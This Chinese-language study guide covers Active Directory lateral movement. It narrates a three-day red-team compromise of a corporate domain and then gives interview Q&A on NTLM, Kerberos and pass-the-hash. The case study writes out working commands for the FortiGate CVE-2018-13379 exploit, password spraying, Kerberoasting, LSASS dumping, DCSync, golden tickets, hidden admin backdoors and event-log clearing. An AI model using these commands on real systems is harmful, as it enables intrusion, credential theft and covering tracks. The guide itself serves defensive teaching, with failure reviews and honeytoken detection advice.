  DMZ   :192.168.100.0/24(对外 Web、邮件)
域环境:corp.local,2 台域控(Win Server 2016),功能级别 2012 R2
已知问题(从外部信息收集得知):
  - 有 VPN(FortiGate SSL VPN)
  - 有 OWA(Outlook Web Access,域名 mail.company.com)
  - 邮箱命名规则:姓.名@company.com(从官网和 LinkedIn 得知)

7.9.2 攻击时间线

第 0 天:外网信息收集(3 小时)

① 收集邮箱地址:从官网、招聘网站、LinkedIn 收集到 40 个员工邮箱
② 检查 VPN 和 OWA 是否暴露:
   - vpn.company.com(FortiGate,有已知的 CVE-2018-13379)
   - mail.company.com/owa(Exchange 2016)
③ 尝试 CVE-2018-13379(FortiGate 路径穿越读配置文件):
   /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
   → 拿到 SSL VPN 的会话文件,里面有【已登录用户的明文密码】(老版本)
   → 拿到一个普通员工 VPN 账号(张三,财务部)
   ★ 这一步不是必然成功,只是运气好。真实攻击里可能要试多个入口。

④ 或者更常见的路径:密码喷洒(Password Spray)
   # ★ 密码喷洒和暴力破解的区别:
   #   暴力破解:一个账号 + 一万个密码 → 会触发账户锁定
   #   密码喷洒:一万个账号 + 一个密码 → 每个账号只试 1~2 次,不会锁定
   #   常用密码:Company@2025、Summer2025!、Welcome1、公司名+123

   python3 o365spray.py --domain company.com --userlist emails.txt \
       --password "Company@2025" --validate
   # 或者用 MailSniper 的内网喷洒(有 OWA 时)
   Invoke-PasswordSprayOWA -ExchHostname mail.company.com \
       -UserList .\users.txt -Password "Company@2025"

   → 成功拿下 3 个账号(其中一个是 IT 支持人员的)

第 1 天:进入内网 + 建立立足点(6 小时)

① 用 VPN 账号连入公司内网
② 现在攻击者的机器在 172.16.0.0/16(办公网)

③ 信息收集(用 7.2 的方法):
   - ipconfig:DNS 后缀 corp.local,DNS 服务器 172.16.1.10(= 域控)
   - arp -a:看到几十个邻居
   - net user /domain:拿到 1200 个域用户列表
   - net group "Domain Admins" /domain:拿到 5 个域管

④ 部署 BloodHound 采集器(隐蔽模式)
   SharpHound.exe -c Session,LoggedOn,Group,LocalAdmin --Stealth
   → 得到域关系图

⑤ 分析(★ 关键发现):
   最短路径(3 步):
     张三(财务部普通用户)
       → [GenericWrite] → svc_backup(一个服务账号)
       → [MemberOf]     → Backup Operators
       → [AdminTo]      → FILE-SRV01(文件服务器)

   ★ 为什么张三对 svc_backup 有 GenericWrite?
     半年前 IT 支持让张三"帮忙改一下备份服务的配置",
     随手给了写权限,之后再没人管过。
     ★ 这就是典型的"权限只加不减"。

   还有一条更短的:
     FILE-SRV01 上有【域管的登录会话】(BloodHound 的 HasSession 关系)
     ★ 说明域管登录过文件服务器(运维习惯:用域管账号远程管理服务器,
       但【没有注销】,只是断开了 RDP)

⑥ 攻击第 1 步:利用张三的 GenericWrite 权限

   # 方法:改 svc_backup 的密码(ForceChangePassword)
   # 用 PowerView
   Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force)

   # 或者更隐蔽:不改密码,而是加一个 SPN(为后面的 Kerberoasting 铺垫)
   Set-DomainObject -Identity svc_backup -Set @{serviceprincipalname='http/backup'} -Verbose

   # 或者最直接的:把张三自己加进 Backup Operators
   Add-DomainGroupMember -Identity "Backup Operators" -Members zhangsan -Verbose

   ★ 攻击者选了最隐蔽的:加 SPN(因为改密码会导致备份服务挂掉,容易被发现)

第 2 天:横向到文件服务器 + 拿域管凭据(8 小时)

① 用 Kerberoasting 破解 svc_backup 的密码(7.5.1)

   Rubeus.exe kerberoast /user:svc_backup /format:hashcat /outfile:hash.txt
   hashcat -m 13100 hash.txt rockyou.txt -r best64.rule -O
   # ★ 2 小时后破解成功:svc_backup 的密码是 "Backup@2019"

   为什么这么弱?
     这个账号是 2019 年建的,密码设置了"永不过期"(因为改密码要停备份服务)。
     6 年没改过。

② 用 svc_backup 的密码做 PTH 到 FILE-SRV01(Backup Operators 是本地管理员)

   ★ 注意:Backup Operators 组成员可以:
     - 备份/恢复文件(包括 SAM 和 SYSTEM)
     - 登录域控(★ 是的,Server 2012 R2 及更早的功能级别下,
       Backup Operators 默认有"允许在本地登录"域控的权限)

   python3 wmiexec.py corp.local/svc_backup:'Backup@2019'@FILE-SRV01.corp.local

③ 在 FILE-SRV01 上 dump 内存(★ 关键一步)

   # 先看有没有域管的会话
   query user
   # 输出:
   #   用户名              会话名         ID  状态
   #   >administrator      rdp-tcp#3       2  已断开     ← ★ 域管!

   # 用 comsvcs.dll 的 MiniDump(★ 不上传任何工具,绕过杀软)
   tasklist | findstr lsass
   #   lsass.exe   684
   rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 684 C:\Windows\Temp\ls.dmp full

   # 把 dmp 下载到本地分析(不在目标机器上跑 mimikatz)
   mimikatz # sekurlsa::minidump ls.dmp
   mimikatz # sekurlsa::logonpasswords

   # ★ 输出结果(关键部分):
   #   Authentication Id : 0 ; 3e7
   #   User Name         : administrator
   #   Domain            : CORP
   #           msv :
   #            * Username : administrator
   #            * Domain   : CORP
   #            * NTLM     : 2092c96a2b0f3b7b8a2f2c9d5e1a0b3c    ← ★ 域管的 NTLM Hash
   #           kerberos :
   #            * Username : administrator
   #            * Domain   : CORP.LOCAL
   #            ★ 有 TGT,有效期还有 6 小时

   ★ 现在是域管了。

第 3 天:拿下域控 + 全域持久化(5 小时)

① 用域管的 Hash 做 DCSync,拿所有哈希(含 krbtgt)

   python3 secretsdump.py corp.local/administrator@DC01.corp.local -hashes :2092c96a2b0f3b7b8a2f2c9d5e1a0b3c -just-dc
   # 拿到 1200 个用户的 Hash,包括:
   #   krbtgt:502:aad3...:8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d:::

② 造黄金票据(永久后门)

   # 拿到域 SID
   #   S-1-5-21-3623811015-3361044348-30300820
   # 拿到 krbtgt 的 NTLM Hash
   #   8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d

   python3 ticketer.py -nthash 8b5f2c1d9e3a7f6b4c8d2e1f5a9b3c7d \
       -domain-sid S-1-5-21-3623811015-3361044348-30300820 \
       -domain corp.local \
       -groups 512,519,520,518,513 \
       backupsvc     # ★ 用一个"看起来像正常服务账号"的名字

   # 生成 backupsvc.ccache,有效期 10 年

③ 部署多层持久化(★ 攻击者会做多重冗余)

   a) 【AdminSDHolder ACL 后门】(自愈型)
      Add-ObjectAcl -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=corp,DC=local" ^
                    -PrincipalSamAccountName "svc_backup" -Rights All

   b) 【创建域管后门账号】(隐藏)
      # 名字伪装成系统账号,带 $ 后缀(net user 看不到)
      net user svc_wmi$ P@ssw0rd! /add /domain
      net group "Domain Admins" svc_wmi$ /add /domain

   c) 【DCSync 权限委派给一个服务账号】
      # 给一个看起来正常的服务账号配复制权限
      # (这样即使域管账号被清理,依然能拿哈希)

   d) 【GPO 后门】
      # 在一个应用到所有机器的 GPO 里加了一个"立即任务":
      #   每天 3:00 执行一次 PowerShell(检查 C2,如果没有就重建连接)

   e) 【在域控上放一个服务型后门】
      sc.exe \\DC01 create "W32TimeSync" binPath= "C:\Windows\Temp\w32time.exe" start= auto
      # ★ 服务名伪装成 Windows Time

④ 目标达成:导出数据 + 部署勒索软件(这里是演练,只做了导出)

   # 从文件服务器导出财务数据
   python3 smbclient.py corp.local/administrator@FILE-SRV01.corp.local -hashes :<Hash>
   #   下载 Finance 目录(80 GB)

   # 从数据库导出(通过 RDP 到 DB 服务器)
   #   sqlcmd 导出 ERP 数据库

⑤ 清理痕迹

   # 清除 Windows 事件日志
   wevtutil cl Security
   wevtutil cl System
   wevtutil cl Application
   wevtutil cl "Windows PowerShell"

   # 清除文件
   del C:\Windows\Temp\ls.dmp
   del C:\Windows\Temp\*.ps1

   # ★ 但是没有清除域控上的日志(因为域控的日志会同步,
   #   而且清除本身会产生 1102 事件——反而更明显)

总结:总耗时约 22 小时(分布在 3 天)

  第 0 天 (3h)  :外网信息收集 + 拿到初始账号
  第 1 天 (6h)  :进入内网 + BloodHound 分析 + 发现路径
  第 2 天 (8h)  :Kerberoasting 破解 + PTH 到文件服务器 + dump 域管凭据
  第 3 天 (5h)  :DCSync + 黄金票据 + 五重持久化 + 数据导出

★ 关键数字:
  从"拿到第一个普通账号"到"控制整个域" = 19 小时
  其中【最耗时的是破解密码】(2 小时)和【信息收集分析】(6 小时)
  真正"攻击"的时间很短

7.9.3 复盘:这家公司哪里失守了(8 个点)

# 失守点 具体表现 应该怎么做 优先级
1 VPN 老漏洞未修 FortiGate CVE-2018-13379(2019 年的漏洞,2026 年还没修) 边界设备补丁优先级最高;定期漏洞扫描 ★★★★★
2 弱密码 + 无 MFA 密码喷洒拿下 3 个账号;VPN 没有 MFA 全员 MFA(VPN/邮箱/关键系统);密码策略; banned password list ★★★★★
3 ACL 配置混乱 财务部的张三对服务账号 svc_backup 有 GenericWrite 定期用 BloodHound 自查并清理;权限申请/回收流程 ★★★★★
4 服务账号密码弱且老 svc_backup 密码 6 年没改,“Backup@2019” 用 gMSA(密码自动管理);强制 AES;定期检查 Kerberoastable 账号 ★★★★★
5 域管登录普通服务器 + 不注销 域管在文件服务器上有“已断开”的会话,TGT 留在内存 分层管理(Tier 0/1/2);域管只能登 PAW;用完注销 ★★★★★
6 没有凭据保护 直接 dump 内存拿到域管 Hash 和 TGT Credential Guard + LSA Protection + Protected Users;关 WDigest ★★★★☆
7 没有网络分段 办公机能直连文件服务器的 445;文件服务器能连域控 办公网/生产网/管理网隔离;工作站之间禁互访 ★★★★☆
8 没有检测和响应 全程未被发现;日志被清了没人知道 日志集中外发(★ 最关键);SIEM 规则;蜜标账号;EDR ★★★★★

哪些点最容易改进(投入产出比最高):

① 【日志集中外发】(成本:低;价值:极高)
   ★ 这是所有改进里性价比最高的。
   如果这家公司的日志有外发,
   攻击者 wevtutil cl 是没用的(日志已经在日志服务器上了),
   而且 SIEM 会立刻告警"日志被清空"(Event 1102)。

② 【域管不登录普通服务器 + 分层管理】(成本:中;价值:极高)
   如果域管没在文件服务器上留下会话,
   攻击者拿到文件服务器也没有域管凭据,
   整条攻击链就断了。

③ 【MFA】(成本:中;价值:极高)
   如果有 MFA,第 0 天的密码喷洒就失败了。

④ 【gMSA + 定期清理 ACL】(成本:中;价值:高)
   直接断掉第 2 步的 Kerberoasting。

⑤ 【出站白名单 + 网络分段】(成本:高;价值:高)
   让横向移动和 C2 通信变得困难。

7.9.4 防守方的关键改进(蜜标检测)

【为什么蜜标是性价比最高的检测手段】

传统检测的问题:
  - 攻击者的行为"看起来都正常"(用合法凭据、走合法协议)
  - 规则很难写,误报高
  - 攻击者会绕过已知的检测规则

蜜标的优势:
  - 【正常用户永远不会碰蜜标】→ 误报率接近 0
  - 实现简单(几个账号 + 几条规则)
  - 检测速度快

【具体怎么做(5 个蜜标)】

① 【蜜标账号 - 假的域管】
   创建:corp\svc_ad_audit(放进 Domain Admins)
   特点:
     - 密码设为 32 位随机,记录在保险柜里,【永远不使用】
     - 密码永不过期
     - description 写成"AD 审计服务账号"(看起来很正经)
   检测:
     - 任何 4624/4625/4768/4769 事件里出现这个账号 → 立即 P1 告警
     - 任何对这个账号的 LDAP 查询 → 告警(可能有人在枚举)
   ★ 实现:
     # 在 SIEM 里配一条规则
     # "Event ID 4624/4625/4768/4769 且 用户名 = svc_ad_audit" → P1

② 【蜜标账号 - 诱饵服务账号】
   创建:corp\svc_sql_ro(带 SPN:MSSQLSvc/db01)
   特点:密码设为弱密码(★ 故意的,让它"容易被破解")
   检测:
     - 任何人对它有 Kerberoasting 行为(4769 请求它的票)→ 告警
     - 任何人对它有登录尝试 → 告警
   ★ 这个蜜标专门抓 Kerberoasting

③ 【蜜标凭据 - 内存里的假 Hash】
   在几台服务器的内存里放一些"看起来像域管 Hash"的假凭据
   (可以用工具实现,或者放一个假的 .kirbi 票据文件)
   检测:任何用这些假凭据的认证尝试 → 立即告警
   ★ 专门抓 PTH / PTT

④ 【蜜标文件】
   在文件服务器上放几个诱饵文件:
     - "域管理员密码.xlsx"
     - "备份账号.txt"
     - "VPN账号清单.csv"
   特点:文件内容是假的,但【开启了文件访问审计】
   检测:任何访问/打开这些文件的行为 → 告警
   ★ 很多攻击者的第一步就是"翻文件找密码"

⑤ 【蜜罐机器】
   在内网放 1~2 台假服务器:
     - 看起来像老系统(写进 AD 的 OperatingSystem 属性:Windows Server 2008)
     - 开放一些端口(445、3389)
     - 装了 Sysmon + 完整日志外发
   检测:任何连接到它的行为 → 告警(内网扫描/横向移动)
   ★ 正常业务不会去连一台"没人用的老服务器"

【部署要点】
  ① 蜜标要"看起来真实"(名字、描述、权限都像真的)
  ② 蜜标的存在要保密(不要让攻击者知道)
  ③ 告警要能立即触达(P1 级别,电话通知)
  ④ 定期测试蜜标是否工作正常(自己触发一次)
  ⑤ ★ 不要过度使用(放 2~3 个够了,放太多反而失去意义)

7.9.5 面试话术:完整版

当你被问到“讲一个你经历过的内网渗透/应急响应案例”时,可以这么讲:

【开场(30 秒,给结论)】

"我讲一个红队演练的案例。目标是某制造企业,800 人,
 单域环境。我们从零开始,用了 3 天(实际投入 22 小时)
 拿下了整个域。

 核心结论是:【攻击链里最薄弱的不是技术,是权限管理的混乱】。
 我们全程没有用 0day,用的都是公开技术和配置错误。"

【主体(2 分钟,讲清楚路径)】

"分四个阶段:

 第一阶段,初始访问。
   我们并没有找到什么高级漏洞,只是发现他们的 VPN 设备
   有个 2019 年的公开 CVE 没修,
   同时对邮箱做了密码喷洒,拿下了 3 个账号。
   ★ 这里的根因是:边界补丁滞后 + 没有 MFA。

 第二阶段,内网信息收集。
   进入之后我做的第一件事不是攻击,是跑 BloodHound。
   结果在图上看到一条 3 步到域管的路径:
   一个财务部的普通用户,对一个备份服务账号有写权限。
   后来了解到,是半年前 IT 让这个同事临时帮忙改配置,
   随手给了权限,之后再没人收回。
   ★ 这就是典型的'权限只加不减'。

 第三阶段,横向移动。
   我们利用那个写权限,给备份服务账号加了个 SPN,
   然后做 Kerberoasting,2 小时破解出密码——
   'Backup@2019',六年没改过,因为改密码要停备份服务。
   拿到这个服务账号后做哈希传递,进了文件服务器。
   在文件服务器上发现域管有个'已断开'的 RDP 会话,
   dump 内存拿到了域管的 Hash 和还没过期的 TGT。
   ★ 这里的根因是:域管登录了不该登录的服务器,而且用完没注销。

 第四阶段,拿下域控。
   用域管 Hash 做 DCSync,拿到所有用户的 Hash,包括 krbtgt。
   然后造了黄金票据,做了五重持久化:
   AdminSDHolder ACL 后门、隐藏的域管账号、
   DCSync 权限委派、GPO 后门、域控上的服务后门。"

【复盘(1 分钟,讲防御——★ 这部分最重要)】

"复盘的时候我给客户列了 8 个失守点,
 但我重点强调了 3 个投入产出比最高的改进:

 第一,日志集中外发。
   这个是所有改进里最便宜也最关键的。
   当时攻击者清了本机的日志,如果日志没有外发,
   这次入侵就真的查不到了。
   而有了外发,'日志被清空'本身就是一个高危告警。

 第二,分层管理 + 域管不登录普通服务器。
   如果域管没有在文件服务器上留下会话,
   整条攻击链在第 3 步就断了。
   这个改起来不难,难的是改变运维习惯。
   我们的建议是配专门的特权访问工作站(PAW)。

 第三,MFA + 定期用 BloodHound 自查。
   MFA 能挡住最初的密码喷洒;
   BloodHound 自查能主动发现那些'不该有的权限'。

 另外我建议他们部署蜜标账号——
 这是个成本很低但效果很好的检测手段:
 建一个'看起来像域管'的账号放在 Domain Admins 里,
 但永远不用它。任何人用它,立即 P1 告警。
 误报率几乎为零。"

【收尾(讲认知)】

"这个案例让我最大的感受是:
 内网防御的核心不是'把所有漏洞都补上'——那不现实。
 核心是【缩短攻击者在你网络里自由活动的时间】。

 具体说就是两件事:
   一是【让他每一步都更难】(分段、凭据保护、最小权限)
   二是【让他每一步都更容易被看见】(日志、蜜标、行为检测)

 还有就是——
 【权限管理是内网安全的地基】。
 这个案例里最致命的不是那个 VPN 漏洞,
 是那条'随手给的权限'。
 而这类问题,只有靠定期自查才能发现。"

7.10 面试题 G 组:内网横向移动与域渗透(30 题)

本组题目难度分布

分组 题号 数量 难度 考察目标
基础 G1 ~ G12 12 ★★ ~ ★★★ 内网概念、两大认证协议、五大票据攻击
进阶 G13 ~ G22 10 ★★★ ~ ★★★★ 检测与防御、体系设计、应急响应
场景 G23 ~ G27 5 ★★★★ ~ ★★★★★ 真实事件处置、客户沟通、落地规划
追问链 G28 ~ G30 3 ★★★★★ 被深挖时的连续性回答能力

面试话术通用建议:内网题很容易被面试官“顺藤摸瓜”——你提到 Kerberos,他就问 Kerberoasting;你提到 Kerberoasting,他就问怎么检测和防御。所以每个知识点都要准备三层:是什么 → 怎么打 → 怎么防。只答前两层,面试官会认为你只是“用过工具”。


7.10.1 基础题(G1 ~ G12)


G1|什么是横向移动?它和提权有什么区别?(难度 ★★)

一句话定义

  • 提权(Privilege Escalation):在同一台机器上,把低权限变成高权限(普通用户 → root / SYSTEM)。方向是向上。
  • 横向移动(Lateral Movement):从一台机器跳到另一台机器,通常沿用已有的权限级别。方向是向外。

生活类比

把公司大楼想成一座写字楼:

  • 提权=你本来只能进自己工位,现在拿到了能开所有办公室门的万能卡(权限变高了,人还在同一层)。
  • 横向移动=你拿着这张卡,从 3 楼跑到 7 楼、12 楼,一间间办公室刷进去(楼层变了,卡的级别没变)。

真实攻击里这两件事是交替进行的:先在这台机器提权拿到凭据 → 用凭据横移到下一台 → 在那台再提权 → 再横移,像爬楼梯一样。

为什么要先提权再横移

因为凭据藏在需要权限的地方:

普通用户权限能拿到什么?
  ├── 自己进程的内存        → 可能能 dump 出自己的密码(极少有价值)
  └── 什么都没有

管理员权限能拿到什么?
  ├── LSASS 内存            → 所有登录过这台机器的用户凭据 ★
  ├── SAM 数据库            → 本机所有账号的 NTLM Hash ★
  ├── 浏览器保存的密码      → 可能包含内网系统账号 ★
  └── SSH 私钥 / 配置文件   → 跳板机上的私钥 ★

所以顺序通常是:立足点 → 本机提权 → 本机凭据收集 → 横移到下一台 → 重复。

面试话术(可直接口述)

“提权和横向移动是内网渗透的两条腿。提权是在一台机器上把权限从低变高,比如普通用户变成 root 或者 SYSTEM;横向移动是拿着已有的权限从这台机器跳到另一台。

为什么要先提权?因为凭据需要权限才能拿到。普通用户读不了 LSASS 内存、读不了 SAM 数据库,而这两处恰恰是内网凭据最密集的地方。所以实战里的节奏是:拿到立足点 → 本机提权 → 抓本机凭据 → 用凭据横移到下一台 → 在那台再提权,如此循环。

从防守方看,这意味着单台机器的失守不是终点而是起点,所以检测的重点要放在’异常登录行为’上,比如一台办公机的账号半夜去登录了域控。“

追问:那纵向提权和横向提权呢?

第六章 6.1 讲过,这里补内网视角:

  • 纵向提权(Vertical):权限等级变高,user → admin。
  • 横向提权(Horizontal):权限等级没变,但身份变了,比如拿到别人的账号(哪怕是同级别的普通用户)。在内网里横向提权往往更有价值——因为目标是别人的权限和数据,而不是更高的权限。

举个实战例子:你是个普通域用户,拿到了财务专员 finance01 的凭据。你的权限等级一点没变,还是普通域用户,但你现在能访问财务共享目录、财务系统了。这就是横向提权。


G2|进入内网后第一步该做什么?为什么不能直接扫端口?(难度 ★★☆)

一句话答案

信息收集(Reconnaissance),而且要先被动后主动。直接全网端口扫描是最容易被抓、也最不专业的做法。

为什么不直接扫

问题 说明
噪音巨大 一个 /24 网段的全端口扫描会产生几十万条流量,现代 EDR / NDR / 防火墙几乎 100% 告警
触发封禁 很多企业的 IPS 会自动把扫描源加入黑名单,一扫描就断网,等于自断后路
信息质量低 扫出来的 445 open 不代表有价值;你真正要找的是“域管登录过哪台机器”,这扫描扫不出来
错过软目标 最有价值的信息往往在本机:/etc/hosts、bash history、配置文件里的明文密码、浏览器保存的密码

正确的顺序(四步)

第一步:本机信息(零噪音,价值最高)
  我是谁?哪台机器?哪个域?有哪些网卡?有几个网段?
  /etc/hosts 里有什么?history 里有什么?有没有私钥?
  有没有杀软/EDR?(决定后面能不能用工具)
         ↓
第二步:域信息(用正常协议,噪音低)
  域叫什么?域控在哪?有哪些用户/组/机器?
  我和谁是同组?谁能管谁?(这是 BloodHound 的输入)
         ↓
第三步:选择性探测(只扫必要的)
  不要全端口:先扫 445/135/3389/5985/22 这几个关键端口
  只扫已知网段:从 ipconfig / 路由表里读出来的网段
  慢速:nmap -T2,或者用系统自带命令(net view)
         ↓
第四步:分析关系(用脑子,不是用工具)
  BloodHound 跑路径、看哪些机器是"跳板"(双网卡)
  找域管登录过的机器(这是最短路径)

★ 新手最容易犯的三个错

  1. 上来就 nmap -A -p-:慢、吵、容易被抓。
  2. 不看本机信息直接往外扫:~/.bash_history 里可能直接写着 mysql -h 10.0.5.20 -u root -p'xxx',这是免费的内网地图。
  3. 拿到 shell 就上传大工具:mimikatz 落地必然被杀。先判断有没有 EDR(看进程名),再决定用什么方式。

面试话术

“我进入内网第一步是本机信息收集,而且是零噪音的被动收集。原因很简单:最有价值的信息往往就在脚下,比如 /etc/hosts 里的内网资产清单、bash history 里的连接命令、配置文件里的明文密码、SSH 私钥。这些都不产生任何网络流量,完全不会被发现。

第二步才是域内信息收集,而且用 LDAP、SMB 这些正常域协议,噪音很低。

第三步做端口扫描时我不会全端口扫,而是只读几个关键端口(445、135、3389、5985、22),只扫从路由表和 hosts 文件里确认存在的网段,并且用慢速。

另外还有个细节:动手之前我会先看进程列表判断有没有 EDR。如果看到 CSFalconService.exe、MsMpEng.exe 这类进程,就知道大工具不能落地,得走无文件或者原生命令的路线。“


G3|NTLM 和 Kerberos 有什么区别?什么时候用 NTLM?(难度 ★★★)

一句话答案

Kerberos 是域内默认的现代认证协议(用票据,能双向认证,抗中继);NTLM 是旧协议(用挑战响应,不能双向认证,容易被中继和 PTH),现在主要用于非域场景和Kerberos 不可用时的降级。

九维对比表

维度 NTLM Kerberos
原理 挑战-响应(服务器发随机数,客户端用密码 Hash 加密) 票据(第三方 KDC 发加密门票)
凭据形态 密码的 MD4 哈希(NTLM Hash) TGT / TGS 票据(对称加密的二进制票据)
是否联系域控 否(客户端和服务器直接认证,服务器再找域控验证) 是(每次都要向 KDC 要票)
服务器是否知道用户密码 不知道,但会把 challenge + response 发给域控验证 不知道,只解密票据
双向认证 不支持(客户端无法验证服务器真假) 支持(AP-REQ / AP-REP 双向)
主要攻击 PTH、NTLM 中继、离线破解 Kerberoasting、AS-REP Roasting、黄金/白银票据、委派
触发场景 用 IP 访问、跨林、非域机器、Kerberos 失败降级 域内用主机名访问(默认)
安全性 弱(NTLMv1 已完全不可用) 强,但配置不当(RC4、弱服务账号密码)仍可打
微软态度 已弃用,2024 年起默认阻止 NTLM 传出 主推

★ 什么时候会降级到 NTLM(攻击者的机会)

① 用 IP 地址访问共享
   \\10.0.0.5\share        → NTLM
   \\fileserver\share      → Kerberos
   ↑ 这就是为什么"用 IP 访问"会触发 NTLM 中继

② 访问非域内机器(工作组机器、Linux Samba)

③ 跨林访问且没有配置信任

④ Kerberos 失败(SPN 没注册、时间偏差太大、DNS 解析不了)

⑤ 某些老客户端 / 老协议(SMTP、部分 Web 应用)

★ 关键认知:NTLM 认证时客户端会把 Hash 发出去

这就是 NTLM 中继(NTLM Relay) 的根源:

正常流程:
  受害者 ──── 发起认证 ────→ 攻击者的服务器
                          (攻击者把 challenge 转发给真正的服务器)
  受害者 ──── 响应 ───────→ 攻击者 ──── 转发响应 ────→ 真正的服务器
                                                        ↓
                                                  "认证成功,你是受害者"

结果:攻击者以受害者的身份登录了目标服务器
     但攻击者自始至终不知道受害者的密码,也不需要破解

NTLM 中继的三个成功条件

  1. 目标没有开启 SMB 签名(SMB Signing)——这是最关键的。SMB 签名会让中继失效,因为签名密钥只有真正的客户端知道。
  2. 攻击者能同时跟受害者和目标通信(中间人位置)。
  3. 受害者会主动向攻击者发起认证(需要诱导:LLMNR/NBNS 投毒、WPAD 劫持、鱼叉邮件里的 UNC 路径)。

面试话术

“NTLM 和 Kerberos 最本质的区别是有没有可信第三方。NTLM 是客户端和服务器两方直接对暗号,服务器自己验不了,得拿着结果去找域控;Kerberos 有个票据中心 KDC,先发 TGT 再发服务票据,全程加密,而且能双向认证——客户端能确认服务器是真的,这一点 NTLM 做不到。

安全上 NTLM 有三个硬伤:一是客户端把密码 Hash 参与计算的结果发出去,可以被中继,我不需要破解密码就能冒充你;二是服务器不验证身份,可以伪造服务器骗 Hash;三是 NTLM Hash 就是 MD4,没有加盐,彩虹表可以秒破。

现在内网里 NTLM 主要出现在用 IP 访问共享、跨林、非域机器这些场景。所以防守上有两个关键点:开启 SMB 签名(能挡住绝大部分中继)和关闭 LLMNR / NBNS(能挡住投毒诱导)。

补充一点:Windows 默认是’先试 Kerberos,失败降级 NTLM’,所以光禁用 NTLM 很容易出业务问题。正确做法是先用审计模式跑一段时间,看哪些场景还在用 NTLM,针对性改造后再切到拒绝模式。“


G4|什么是 PTH?为什么改了密码还能 PTH?怎么修?(难度 ★★★)

一句话定义

PTH(Pass-the-Hash,哈希传递):攻击者不需要知道用户的明文密码,只需要拿到密码的 NTLM Hash,就能直接通过网络认证成这个用户。

为什么能这样?——协议的设计缺陷

NTLM 认证流程里,客户端需要证明“我知道密码”,方式是用密码的 Hash 作为密钥去加密服务器发来的随机数(challenge):

服务器:我给你一个随机数 0x0123456789ABCDEF,你用你的密码加密后还给我
客户端:Response = f(密码的 Hash, challenge)     ← 全程只需要 Hash,不需要明文密码
服务器:我也算一遍,一样就通过

★ 关键结论:认证过程只需要 Hash,永远不需要明文。所以对 NTLM 协议来说,Hash 就等价于密码(这就是安全圈说的 “the hash is the password”)。

生活类比

小区门禁不是刷脸,而是让你报出门禁卡的内码。 你不需要有卡(明文密码),只要记住那串内码(Hash)就能进去。 保安只核对内码,他根本不知道你是从卡上读的、还是听别人说的。

为什么改了密码还能用旧 Hash?

不可能——改了密码,Hash 就变了,旧 Hash 立即失效。这是个常见误解,面试要答清楚。

但实战中“改了密码还能打”的原因有这几种:

现象 真正的原因
改了密码,旧 Hash 还能用 密码改了但Hash 没同步(多域控复制延迟),或者改的是另一个账号(同名不同域)
改了密码,还是被 PTH 进来 攻击者用的是别的账号的 Hash(比如你没改的服务账号)
改了密码,还是被 PTH 进来(续) 攻击者拿到了 krbtgt Hash(黄金票据),可以伪造任何人的身份,改谁的密码都没用
改了密码,还是能访问 攻击者留了后门(计划任务、WMI 订阅、服务),不依赖这个密码

★ 面试加分点:域被攻陷后,改密码是无效的,必须先重置 krbtgt 两次。因为黄金票据绕过了密码验证环节(详见 G7、G15)。

成功的四个条件

① 目标开启 SMB / WinRM / WMI 等远程管理服务
② 凭据是本地管理员或域管理员(对目标有管理权限)
③ 两台机器之间网络可达(445 / 5985 / 135 端口)
④ ★ 如果是本地账号,需要绕过 UAC 远程限制:
      - RID 500(内置 Administrator)默认不受限制,可直接 PTH
      - 其他本地管理员账号会被 UAC 过滤成普通令牌
      - 绕过方法:改注册表 LocalAccountTokenFilterPolicy = 1(攻击者拿到管理员权限后常顺手改)

攻击示例(要能说出命令)

# 用 impacket,只需要 NT Hash(LM 部分填空,用 : 分隔)
psexec.py  -hashes :aad3b435b51404eeaad3b435b51404ee: NT_HASH  domain/user@10.0.0.5
wmiexec.py -hashes :NT_HASH  domain/user@10.0.0.5
smbexec.py -hashes :NT_HASH  domain/user@10.0.0.5

# CrackMapExec 批量打一个网段
crackmapexec smb 10.0.0.0/24 -u user -H NT_HASH
crackmapexec smb 10.0.0.0/24 -u user -H NT_HASH --local-auth   # 本地账号

# RDP 受限模式(只能登录,不能执行命令时也够用)
xfreerdp /pth:NT_HASH /u:user /v:10.0.0.5

四层防御(★ 面试重点)

层 措施 效果 落地难度
1. 分层管理 禁止域管登录普通办公机/服务器(Tier 模型) ★★★★★ 最有效 中
2. 特权隔离 域管加入 Protected Users 组;域管账号不能用于网络登录(拒绝“从网络访问此计算机”) ★★★★ 低
3. 消除共享本地账号 用 LAPS 给每台机器随机化本地管理员密码(★ 直接废掉本地账号 PTH 横移) ★★★★ 中
4. 凭据保护 Credential Guard(隔离 LSASS)、Device Guard、关闭 WDigest ★★★ 中
补充 开启 SMB 签名;监控 Event 4624 中 Logon Type 3 + 异常源 IP ★★ 低

★ 为什么 LAPS 能废掉 PTH 横移?

没有 LAPS 时,很多公司所有机器的本地 Administrator 密码都一样(镜像部署)。攻击者拿到一台的 Hash,就拿到了全部机器的 Hash——这就是 PTH 能横扫整个网段的原因。

上了 LAPS 后,每台机器的本地管理员密码各不相同、定期自动更换、存在 AD 里加密保存。A 机器的 Hash 只能进 A 机器,横移断链。

面试话术

“PTH 的根因是 NTLM 协议的设计:认证时客户端只需要用密码的 Hash 加密服务器发来的随机数,全程不需要明文密码。所以对协议来说,Hash 就等价于密码,这也是安全圈那句’the hash is the password’的来历。

有个常见误解要澄清:改了密码,旧 Hash 立刻失效,不存在’改了密码还能用旧 Hash’。实战里看到改了密码还被攻进来,通常是因为攻击者换了别的账号的 Hash,或者已经拿到 krbtgt 做了黄金票据,或者干脆留了后门。

防御上最有效的不是加杀软,而是分层管理——域管账号绝对不能登录普通办公机。因为 PTH 能成立的前提是’高权限账号在这台机器上有过登录、留下了凭据’,只要域管不登录办公机,攻击者从办公机里就抓不到域管 Hash。

第二有效的是 LAPS。很多公司所有机器共用同一个本地管理员密码,一台沦陷等于全沦陷;LAPS 让每台机器密码随机且定期更换,直接断掉本地账号的横移链。“


G5|用大白话讲一遍 Kerberos 认证的三阶段六步(难度 ★★★)

这题几乎必考,答不出来后面的票据攻击全都没法聊。必须能用一张图 + 一段话讲清楚。

生活类比:游乐园通行证

想象一个大型游乐园:

  • KDC(Key Distribution Center,密钥分发中心)=游客服务中心。它装在一台机器上,这台机器就是域控(DC)。KDC 内部有两个窗口:
